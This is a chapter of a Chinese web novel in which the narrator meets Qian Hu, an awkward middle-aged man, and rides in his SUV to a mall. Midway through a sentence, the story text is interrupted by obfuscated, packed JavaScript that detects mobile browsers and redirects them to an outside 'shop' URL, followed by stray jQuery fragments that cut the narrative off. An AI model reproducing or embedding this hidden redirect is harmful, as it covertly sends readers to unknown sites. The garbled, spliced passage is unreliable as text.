27
[2025年6月，第25周]
钱鹄事先已把他的照片发给我，他下车和我打招呼之前，我却没有认出他。
约定见面时间后，他担心到时候认不出来，建议互发照片。他先发了一张纯AI的美型男图片，我觉得他奶奶看了都不知作何感想。隐约能从图片分辨出他靠在铺着老式床单的老式铁床床头，头发偏分，长度和花美男形象契合，和现实却有些割裂。兴许他也觉得过了，又补发了一张日常照。
照片里他剃着平头，应该摄于冬日。身着黑色棉袄，领子有些起球。他皮肤白皙，毛孔粗大，左脸有个不大不小的痦子，嘴巴部位突出，显得嘴唇单薄。许是仰拍的缘故，下颌骨突出，眉毛倒是又浓又粗。
他解释说这是几年前拍得还算不错的照片。
我打小是个颜控。当即就对第二天的见面不抱期待。
他顺理成章让我发照片，我推说不喜欢拍照。
“是小翕吧？”被一个男生这么喊，我很有些不适。
我注意到他，脑袋堪堪从SUV的顶部冒出，发色有些红棕，貌似还有些细波纹路。面部线条相当柔和，几米开外，也能注意到堆起的苹果肌。
头发挡住了他视线，他扬着下巴，把刘海甩向一边。他继续看向我，面上满是欣喜。
不知怎的，一股违和涌上心头。
我朝SUV走去，亦有些不解。
我设想过打车，也想过他开车的可能，可我没想到他家会买这个牌子的车，还是辆SUV。
他父母都是工薪阶层，他的工资想来也就顾得上自个儿花。这个品牌，虽不是BBA之流，可即便是有些家底的家庭，也更偏向林肯这种标榜舒适和细节的品牌。
我上回见人开这个牌子的汽车，还是驷铠销售部的头头。平时接待客户，有撑场面的需求，又不宜越了过去。
他特意替我打开副驾驶的门，丝毫不接地气。我坐到车内，他先我一步关上门，也返回车中。
钱鹄身着棉麻黑色中袖衬衫，黑色休闲裤，脚上一双板鞋，侧面的白色PU革上缝着一个大勾勾。人到中年，还一副邻家小哥模样。
“你一点都没有长变呀！”他感慨道。
“那倒也不至于，变化不大就是了。”我仍和他说着榕潭的方言，这体验于我很是新鲜。
中控台上的装饰印着他的手机号，他将手机连上蓝牙，却
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17301302|198639||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
有些手忙脚乱。
“我们去哪里？”流行音乐响起，他微笑着问我。
“我都行。”
“那去英特吧？”他提议道。
“行。”那地方离杉湖不远，但归属城区，是附近一个不错的商场。
他在手机输入目的地，耳边响起导航声：“准备出发，全程……”
他导航用的竟然也是男童音调的语音包。我皱起了眉头，看向他。
他右手把着方向盘，左手撸了下袖子，也扶上了方向盘。神情有些跃跃欲试，双眼直视前方。他修剪整齐的指甲微微有些锃亮，我把目光收回。
“你等了多久？”他侧头问我。
“比你早到一会。”
没多时，他开车到达商场附近，却继续朝室内开。
恰逢周末，又临近饭点，室外的停车位一眼都望不到空缺。我有几分不耐，面上没说什么。他在室内几次错车，最终跟着其他车，回到了室外停车场，在商场侧面的车道上，找到一个停车位。
见他停好车，我开车下门撑起了伞。他亦下车撑起伞。
“你要不要和我一起？我的伞比较大。”
我勉强笑了笑，摇摇头。